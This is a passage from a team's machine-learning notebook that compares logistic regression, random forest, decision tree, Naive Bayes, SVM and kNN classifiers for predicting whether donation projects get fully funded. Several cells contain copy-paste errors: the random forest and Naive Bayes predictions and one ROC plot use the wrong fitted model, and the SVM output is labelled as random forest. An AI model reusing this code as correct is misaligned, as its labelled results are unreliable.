Cost'])\nX_predict_ffexpired_sub['log_Donation Amount'] = np.log10(X_predict_ffexpired_sub['Donation Amount'])\n\n# Drop the non-transformed columns\nX_predict_ffexpired_log = X_predict_ffexpired_sub.drop(columns = ['Project Cost', 'Donation Amount'])\n\n# + id=\"vtikCrJ5gky1\" colab_type=\"code\" outputId=\"b0a0f310-f67b-453b-c117-0bc36d9885ff\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179586, \"user_tz\": 420, \"elapsed\": 1004, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\nX_ = X_predict_ffexpired_log.drop('Project Current Status_Label', axis = 1)\ny_ = X_predict_ffexpired_log['Project Current Status_Label']\n\nprint(X_.shape)\nprint(y_.shape)\n\n# + id=\"KosvS3ElwWau\" colab_type=\"code\" outputId=\"57630d5e-d121-405e-e2f3-5c362a60c957\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179587, \"user_tz\": 420, \"elapsed\": 994, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\nX_.columns\n\n# + id=\"zhWseraQgky3\" colab_type=\"code\" outputId=\"a73ff3fa-352f-4c88-8360-3385cec2642e\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179588, \"user_tz\": 420, \"elapsed\": 987, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nylabel = y_.unique()\nylabels = [\"Fully Funded\" if x == 1 else \"Expired\" for x in ylabel]\nylabels\n\n# + [markdown] id=\"nfxhzibUgkzD\" colab_type=\"text\"\n# ###

Logistic Regression

\n#\n# ***\n# Logistic regression is used to describe data and to explain the relationship between one dependent binary variable and one or more nominal, ordinal, interval or ratio-level independent variables.\n#\n# @Author: Sithara\n\n# + [markdown] id=\"LcRk_KJAgkzE\" colab_type=\"text\"\n# Model Training and Fitting\n\n# + id=\"jHRZ3bVCgkzE\" colab_type=\"code\" outputId=\"421d7cad-760a-4bab-c565-910d100bbfd2\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179768, \"user_tz\": 420, \"elapsed\": 1159, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nX_train_LR, X_test_LR, y_train_LR, y_test_LR = train_test_split(X_, y_, test_size = 0.25, random_state = 123)\n\nlr = linear_model.LogisticRegression(C=10,penalty='l1')\nlr.fit(X_train_LR, y_train_LR)\n\ny_pred_LR = lr.predict(X_test_LR)\nprint(\"done with Logistic Regression\")\n\n# + id=\"1KhgBw-gvzwx\" colab_type=\"code\" outputId=\"4c369989-a1d1-42f4-fed5-e822fc473a5e\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179769, \"user_tz\": 420, \"elapsed\": 1152, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\nX_sample.columns\n\n# + [markdown] id=\"n2DxJBiWgkzF\" colab_type=\"text\"\n# Quantify the Performance\n\n# + id=\"4bBSQWtXgkzF\" colab_type=\"code\" outputId=\"3c830f6d-4614-4a9d-cf94-0e326913c688\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180132, \"user_tz\": 420, \"elapsed\": 1505, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 646}\n#accuracy calculation\naccuracy_LR = accuracy_score(y_test_LR, y_pred_LR)\nprint('accuracy_score = ', accuracy_LR)\nmat_LR = confusion_matrix(y_test_LR, y_pred_LR)\n\nfig, ax = plt.subplots(figsize=(11,11)) \nax.set_title(\"Confusion Matrix for Logistic Regression\")\nsns.heatmap(mat_LR.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n# + id=\"PERwAq_agkzG\" colab_type=\"code\" outputId=\"77bcac59-6d84-459a-e394-735a197a9803\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180133, \"user_tz\": 420, \"elapsed\": 1492, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_LR = classification_report(y_test_LR, y_pred_LR, target_names=ylabels)\nprint(cls_LR)\n\n# + id=\"Vchyjma7gkzH\" colab_type=\"code\" outputId=\"700fbfdd-0605-46c0-d38a-d0323ed3cc0b\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180376, \"user_tz\": 420, \"elapsed\": 1726, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches_LR = (y_pred_LR == y_test_LR)\nprint(\"The number of correct matches for Logistic Regression:\",matches_LR.sum())\n\n# The total number of data points\nprint(\"The total number of data points for Logistic Regression:\",len(matches_LR))\n\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Logistic Regression:\",matches_LR.sum() / float(len(matches_LR)))\n\n# + [markdown] id=\"RDHPzgZygkzJ\" colab_type=\"text\"\n# Predicting values for test set\n\n# + id=\"B6J1nqgwgkzJ\" colab_type=\"code\" outputId=\"7a539770-5efd-4eec-a7e7-ca764b526335\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180377, \"user_tz\": 420, \"elapsed\": 1719, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nX_predict_liveset = X_predict_live.drop('Project Current Status_Label', axis = 1)\nprint(X_predict_liveset.shape)\npredictions_LR = X_predict_liveset.copy()\n\n# + id=\"h6xteTZ0gkzK\" colab_type=\"code\" outputId=\"5aef4fb3-1aec-4bd9-dedf-48a52a2414fd\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180378, \"user_tz\": 420, \"elapsed\": 1712, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\ny_pred_testLR = lr.predict(X_predict_liveset)\ny_pred_transformed_LR = ['Fully Funded' if x == 1 else 'Expired' for x in y_pred_testLR]\npredictions_LR['Project Current Status'] = y_pred_transformed_LR\npredictions_LR.to_csv('submit_AllEnriched_LR.csv', index = False)\nprint('done')\n\n# + [markdown] id=\"yf35TejMgkzM\" colab_type=\"text\"\n# #### Polynomial Equation \n# @Author: Team\n\n# + id=\"LfIDaV3xgkzM\" colab_type=\"code\" outputId=\"1d04ce23-84a8-4854-dd7e-fe249a316baf\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180379, \"user_tz\": 420, \"elapsed\": 1705, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 607}\ndata = {'Feature Name': list(X_), 'Co-efficient values': lr.coef_[0]}\ncoefficients=pd.DataFrame(data)\ncoefficients\n\n# + [markdown] id=\"O3D6LXY1e3cI\" colab_type=\"text\"\n# Plot ROC Curve\n\n# + id=\"TQQGVd-Me38Y\" colab_type=\"code\" outputId=\"411cd98b-393a-44a0-9b03-70a92a532e15\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180566, \"user_tz\": 420, \"elapsed\": 1880, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\nplotROC_Curve(lr,X_test_LR, y_test_LR)\n\n# + [markdown] id=\"YEmDHFQmgkzO\" colab_type=\"text\"\n# ###

Random Forest

\n#\n# ***\n# Random Forest Classifiers are an ensemble learning method for classification, regression and other tasks that operates by constructing a multitude of decision trees at training time and outputting the class that is the mode of the classes (classification) or mean prediction (regression) of the individual trees.\n#\n# @Author: Vidhi\n\n# + [markdown] id=\"90PEYDYtgkzO\" colab_type=\"text\"\n# Model Training and Fitting \n\n# + id=\"F-euiQhTgkzO\" colab_type=\"code\" outputId=\"c3fc6ec0-14e6-4363-abfa-3ba7125be4b6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180567, \"user_tz\": 420, \"elapsed\": 1873, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nX_train_RFC,X_test_RFC,y_train_RFC,y_test_RFC = train_test_split(X_, y_ ,test_size= 0.25)\nrfc = ensemble.RandomForestClassifier(random_state=42)\nrfc.fit(X_train_RFC, y_train_RFC)\n\ny_pred_RFC = rfc.predict(X_test_RFC)\nprint(\"done with Random Forest Classifier\")\n\n# + [markdown] id=\"FVK1zBwcgkzP\" colab_type=\"text\"\n# Quantify the Performance\n\n# + id=\"ap1_3Aw4gkzR\" colab_type=\"code\" outputId=\"cc83ea34-a395-40dd-ce22-644a7909d566\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180909, \"user_tz\": 420, \"elapsed\": 2210, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 646}\n#accuracy calculation\naccuracy_RFC = accuracy_score(y_test_RFC, y_pred_RFC)\nprint('accuracy_score = ', accuracy_RFC)\nmat_RFC = confusion_matrix(y_test_RFC, y_pred_RFC)\n\nfig, ax = plt.subplots(figsize=(11,11)) \nax.set_title(\"Confusion Matrix for Random Forest Classifier\")\nsns.heatmap(mat_RFC.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n\n# + id=\"g-UqqabKgkzS\" colab_type=\"code\" outputId=\"c94b7ada-d30c-4c7a-8ce2-94254cac4744\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180911, \"user_tz\": 420, \"elapsed\": 2207, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_RFC = classification_report(y_test_RFC, y_pred_RFC, target_names=ylabels)\nprint(cls_RFC)\n\n# + id=\"rRLvt9jDgkzT\" colab_type=\"code\" outputId=\"d9e943c3-3a00-45eb-da2f-db4e5611415a\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180912, \"user_tz\": 420, \"elapsed\": 2203, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches_RFC = (y_pred_RFC == y_test_RFC)\nprint(\"The number of correct matches for Random Forest Classifier:\",matches_RFC.sum())\n\n# The total number of data points\nprint(\"The total number of data points for Random Forest Classifier:\",len(matches_RFC))\n\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Random Forest Classifier:\",matches_RFC.sum() / float(len(matches_RFC)))\n\n# + [markdown] id=\"WpGm14eDgkzU\" colab_type=\"text\"\n# Predicting values for test set\n\n# + id=\"pf1YNRVTgkzU\" colab_type=\"code\" outputId=\"6359b23d-4a7a-4e3b-b4d3-d9404c402d88\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915180913, \"user_tz\": 420, \"elapsed\": 2200, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\ny_pred_testRFC = lr.predict(X_predict_liveset)\npredictions_RFC = X_predict_liveset.copy()\ny_pred_transformed_RFC = ['Fully Funded' if x == 1 else 'Expired' for x in y_pred_testRFC]\npredictions_RFC['Project Current Status'] = y_pred_transformed_RFC\npredictions_RFC.to_csv('submit_AllEnriched_RFC.csv', index = False)\nprint('done')\n\n# + [markdown] id=\"zWvMynWOgkzZ\" colab_type=\"text\"\n# Measuring Feature Importance \n\n# + id=\"NhcQonswgkzZ\" colab_type=\"code\" outputId=\"c4c936d5-df62-4ef0-b17a-1f2ce558179e\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915181816, \"user_tz\": 420, \"elapsed\": 3098, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 536}\nprint(rfc.feature_importances_)\n\n#plot graph of feature importances for better visualization\nplt.figure(figsize=(10,8))\nfeat_importances = pd.Series(rfc.feature_importances_, index=X_.columns)\nfeat_importances.nlargest(20).plot(kind='barh',fontsize=13)\nplt.show()\n\n# + [markdown] id=\"7gih6pUWfH1q\" colab_type=\"text\"\n# Plot ROC Curve\n\n# + id=\"tjuMCr2FfIQx\" colab_type=\"code\" outputId=\"9f494d1e-c8b2-486e-8e4c-c1ab92f1da50\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915182004, \"user_tz\": 420, \"elapsed\": 3281, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\nplotROC_Curve(rfc,X_test_RFC, y_test_RFC)\n\n\n# + [markdown] id=\"uozgQOxzgkza\" colab_type=\"text\"\n# ###

Decision Tree

\n#\n# ***\n# Decision tree builds classification or regression models in the form of a tree structure. It utilizes an if-then rule set which is mutually exclusive and exhaustive for classification. The rules are learned sequentially using the training data one at a time. Each time a rule is learned, the tuples covered by the rules are removed. This process is continued on the training set until meeting a termination condition.\n#\n# @Author: Reetika\n\n# + [markdown] id=\"898hB4Eagkza\" colab_type=\"text\"\n# Model Training and Fitting \n\n# + id=\"rVqkgVAJgkzb\" colab_type=\"code\" colab={}\ndef TrainTestSplit(x,y):\n xTrain, xTest, yTrain, yTest = train_test_split(x, y, test_size = 0.25, random_state = 0)\n return xTrain, xTest, yTrain, yTest\n\ndef decisionTreefunc(xTrain,yTrain,xTest):\n clf = DecisionTreeClassifier(max_depth=5,random_state=12)\n clf.fit(xTrain, yTrain)\n yPrediction = clf.predict(xTest)\n print(\"Decision Tree Done!\")\n return clf,yPrediction\n\n\n# + id=\"O0lfKW8Egkzb\" colab_type=\"code\" colab={}\nX_train, X_test, y_train, y_test = TrainTestSplit(X_,y_)\nprint (X_train.shape, y_train.shape)\nprint (X_test.shape, y_test.shape)\n\nclf,pred = decisionTreefunc(X_train,y_train,X_test)\nprint(\"done with Decision Tree\")\n\n# + [markdown] id=\"H7NR9dODgkzc\" colab_type=\"text\"\n# Quantify the Performance\n\n# + id=\"camfHubigkzc\" colab_type=\"code\" outputId=\"5733645a-53cf-49e0-8528-dcfc60a31173\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915182546, \"user_tz\": 420, \"elapsed\": 3808, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 646}\n#accuracy calculation\naccuracy = accuracy_score(y_test, pred)\nprint('accuracy_score = ', accuracy)\nmat_dtree = confusion_matrix(y_test, pred)\n\nfig, ax = plt.subplots(figsize=(11,11)) \nax.set_title(\"Confusion Matrix for Decision Tree\")\nsns.heatmap(mat_dtree.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n# + id=\"yIntsOHggkze\" colab_type=\"code\" outputId=\"56a1e4c2-d695-45bc-e53f-5f4b5764c03d\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915182547, \"user_tz\": 420, \"elapsed\": 3801, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_dtree = classification_report(y_test, pred, target_names=ylabels)\nprint(cls_dtree)\n\n# + id=\"of0HBLDPgkzf\" colab_type=\"code\" outputId=\"5717a363-88a5-4cb8-f55f-4498348b6211\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915182548, \"user_tz\": 420, \"elapsed\": 3794, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches = (pred == y_test)\nprint(\"The number of correct matches for Decision Tree:\",matches.sum())\n# The total number of data points\nprint(\"The total number of data points for Decision Tree:\",len(matches))\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Decision Tree:\",matches.sum() / float(len(matches)))\n\n# + [markdown] id=\"n1g2-2BYgkzg\" colab_type=\"text\"\n# Decision Tree Plot\n\n# + id=\"3qdg8iHSgkzg\" colab_type=\"code\" outputId=\"974a98e6-15f9-4841-fa8d-b7187e685cb3\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915185341, \"user_tz\": 420, \"elapsed\": 6582, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 932}\ndot_data = StringIO()\nexport_graphviz(clf, out_file=dot_data, \n filled=True, rounded=True,\n special_characters=True, feature_names = X_.columns,class_names=['Expired','Fully-Funded'])\ngraph = pydotplus.graph_from_dot_data(dot_data.getvalue()) \ngraph.write_png('Project_Current_Status_AllEnriched_DT.png')\nImage(graph.create_png())\n\n# + [markdown] id=\"KvoU-yOZgkzh\" colab_type=\"text\"\n# Measuring Feature Importance \n\n# + id=\"IYh-lt76gkzi\" colab_type=\"code\" outputId=\"49547ec7-3b56-47e4-ae3f-c5eb8ca37d48\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915185347, \"user_tz\": 420, \"elapsed\": 6582, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 536}\nprint(clf.feature_importances_)\n\n#plot graph of feature importances for better visualization\nplt.figure(figsize=(10,8))\nfeat_importances = pd.Series(clf.feature_importances_, index=X_.columns)\nfeat_importances.nlargest(20).plot(kind='barh',fontsize=13)\nplt.show()\n\n# + [markdown] id=\"Cq2aygeRgkzj\" colab_type=\"text\"\n# Predicting values for test set\n\n# + id=\"GTxZqSk5gkzj\" colab_type=\"code\" outputId=\"35f9a840-7350-4fce-e30b-954e3b7f4497\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915185350, \"user_tz\": 420, \"elapsed\": 6579, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\npredictions_DTree = X_predict_liveset.copy()\ny_pred_testDTree = clf.predict(X_predict_liveset)\ny_pred_transformed_DTree = ['Fully Funded' if x == 1 else 'Expired' for x in y_pred_testDTree]\npredictions_DTree['Project Current Status'] = y_pred_transformed_DTree\npredictions_DTree.to_csv('submit_AllEnriched_DTree.csv', index = False)\nprint('done')\n\n# + [markdown] id=\"rQ-rmiO2fgAC\" colab_type=\"text\"\n# Plot ROC Curve\n\n# + id=\"ENCMDlQxfgXE\" colab_type=\"code\" outputId=\"55e03a94-263b-40a5-a9a7-3114c5cf9280\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915185632, \"user_tz\": 420, \"elapsed\": 6857, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\nplotROC_Curve(clf,X_test, y_test)\n\n# + [markdown] id=\"pqHyBgN1gkzj\" colab_type=\"text\"\n# ###

Naive Bayes

\n#\n# ***\n# Naive Bayes classifiers are a family of simple \"probabilistic classifiers\" based on applying Bayes' theorem with strong (naive) independence assumptions between the features.\n#\n# @Author: Pragya and Vidhi\n\n# + [markdown] id=\"AWGOVPYCgkzj\" colab_type=\"text\"\n# Model Training and Fitting\n\n# + id=\"idQSDNrrgkzk\" colab_type=\"code\" outputId=\"702faa5c-9b67-456d-a3c2-54b573447166\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915185635, \"user_tz\": 420, \"elapsed\": 6855, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\ngnb = GaussianNB()\ngnb.fit(X_train, y_train)\npred_gnb = gnb.predict(X_test)\nprint(\"done with Naive Bayes\")\n\n# + [markdown] id=\"qfrrJNEKgkzk\" colab_type=\"text\"\n# Quantify the Performance\n\n# + id=\"2wdxffZmgkzl\" colab_type=\"code\" outputId=\"80de242e-6325-4ded-f00d-548dec1265d2\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915186105, \"user_tz\": 420, \"elapsed\": 7320, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 646}\n#accuracy calculation\naccuracy = accuracy_score(y_test, pred_gnb)\nprint('accuracy_score = ', accuracy)\nmat_gnb = confusion_matrix(y_test, pred_gnb)\n\nfig, ax = plt.subplots(figsize=(11,11)) \nax.set_title(\"Confusion Matrix for Gaussian Naive Bayes\")\nsns.heatmap(mat_gnb.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n\n# + id=\"sZk5z-G5gkzn\" colab_type=\"code\" outputId=\"b2c56e3c-0f02-4fd9-de03-4532f5b5592a\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915186106, \"user_tz\": 420, \"elapsed\": 7316, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_gnb = classification_report(y_test, pred_gnb, target_names=ylabels)\nprint(cls_gnb)\n\n# + id=\"-bsBpmH5gkzo\" colab_type=\"code\" outputId=\"e07c585c-cb07-47a4-a0a9-a5933351be6f\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915186107, \"user_tz\": 420, \"elapsed\": 7311, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches_gnb = (pred_gnb == y_test)\nprint(\"The number of correct matches for Naive Bayes\",matches_gnb.sum())\n\n# The total number of data points\nprint(\"The total number of data points for Naive Bayes:\",len(matches_gnb))\n\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Naive Bayes:\",matches_gnb.sum() / float(len(matches_gnb)))\n\n# + [markdown] id=\"OMEuiqsEgkzo\" colab_type=\"text\"\n# Predicting Values for Test Set\n\n# + id=\"mOoM0tA3gkzp\" colab_type=\"code\" outputId=\"67a14627-964e-48d3-a672-8a23b5757dd7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915186108, \"user_tz\": 420, \"elapsed\": 7307, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\npredictions_GNB = X_predict_liveset.copy()\ny_pred_testGNB = clf.predict(X_predict_liveset)\ny_pred_transformed_GNB = ['Fully Funded' if x == 1 else 'Expired' for x in y_pred_testGNB]\npredictions_GNB['Project Current Status'] = y_pred_transformed_GNB\npredictions_GNB.to_csv('submit_AllEnriched_GNB.csv', index = False)\nprint('done')\n\n# + [markdown] id=\"FWgDjHwPftns\" colab_type=\"text\"\n# Plot ROC Curve\n\n# + id=\"kuoT8PKGfuXD\" colab_type=\"code\" outputId=\"c83cf362-ae60-45cd-cc43-d03a38accda5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915186309, \"user_tz\": 420, \"elapsed\": 7504, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\nplotROC_Curve(clf,X_test, y_test)\n\n# + [markdown] id=\"-bUUzbvhf6I6\" colab_type=\"text\"\n# ### Support Vector Machines¶\n#\n# The objective of the support vector machine algorithm is to find a hyperplane in an N-dimensional space(N — the number of features) that distinctly classifies the data points.\n#\n# @Author : Sithara and Reetika\n\n# + [markdown] id=\"TU7oqfLcf58z\" colab_type=\"text\"\n# Model Training and Fitting\n\n# + id=\"nSFM8NN1gDMA\" colab_type=\"code\" outputId=\"30148047-83f7-4dd5-8973-ed66c6930728\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915350010, \"user_tz\": 420, \"elapsed\": 171200, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nsvc = SVC(kernel='linear')\nsvc.fit(X_train, y_train)\ny_pred_svc = svc.predict(X_test)\nprint(\"done with Linear Support Vector Machines\")\n\n# + [markdown] id=\"sKy6rWoWf-h0\" colab_type=\"text\"\n# Model Metrics\n\n# + id=\"z36r_wimgJfK\" colab_type=\"code\" outputId=\"1f55f41e-6ca3-464d-dd32-816c10da929d\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915350376, \"user_tz\": 420, \"elapsed\": 171560, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 500}\n#accuracy calculation\naccuracy_svc = accuracy_score(y_test, y_pred_svc)\nprint('accuracy_score = ', accuracy_svc,'\\n')\nmat_svc = confusion_matrix(y_test, y_pred_svc)\n\nfig, ax = plt.subplots(figsize=(8,8)) \nax.set_title(\"Confusion Matrix for Support Vector Machines Classifier\")\nsns.heatmap(mat_svc.T, square=True, annot=True, fmt='d', cbar=True,cmap=\"YlGnBu\",\n xticklabels=ylabels,\n yticklabels=ylabels,linewidths=.5, ax=ax)\nplt.xlabel('True label')\nplt.ylabel('Predicted label');\n\n# + id=\"OgjhZlC4gN2v\" colab_type=\"code\" outputId=\"05430938-0cbe-42e2-c8c9-4c72073af9f7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915350377, \"user_tz\": 420, \"elapsed\": 171557, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ncls_svc = classification_report(y_test, y_pred_svc, target_names=ylabels)\nprint(cls_svc)\n\n# + id=\"YRc4Y4xNgNtO\" colab_type=\"code\" outputId=\"a27f8689-8d4b-4251-a093-1eb109192e4a\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915350377, \"user_tz\": 420, \"elapsed\": 171552, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# print the number of correct matches\nmatches_svc = (y_pred_svc == y_test)\nprint(\"The number of correct matches for Random Forest Classifier:\",matches_svc.sum())\n\n# The total number of data points\nprint(\"The total number of data points for Random Forest Classifier:\",len(matches_svc))\n\n# And now, the ration of correct predictions i.e. Accuracy\nprint(\"Accuracy for Random Forest Classifier:\",matches_svc.sum() / float(len(matches_svc)))\n\n# + [markdown] id=\"CtyKPxHRgaTP\" colab_type=\"text\"\n# ### K - Nearest Neighbour\n#\n# The model for kNN is the entire training dataset. When a prediction is required for a unseen data instance, the kNN algorithm will search through the training dataset for the k-most similar instances. The prediction attribute of the most similar instances is summarized and returned as the prediction for the unseen instance.\n#\n# @Author: Sithara and Pragya\n\n# + [markdown] id=\"Lhxjzndwgbar\" colab_type=\"text\"\n# Determining Optimal K\n\n# + id=\"PMeLQRD8gb-8\" colab_type=\"code\" colab={}\nerror = []\n\n# Calculating error for K values between 1 and 40\nfor i in range(1, 40): \n knn = KNeighborsClassifier(n_neighbors=i)\n knn.fit(X_train, y_train)\n pred_i = knn.predict(X_test)\n error.append(np.mean(pred_i != y_test))\n\n# + id=\"d86s8yNdghlG\" colab_type=\"code\" 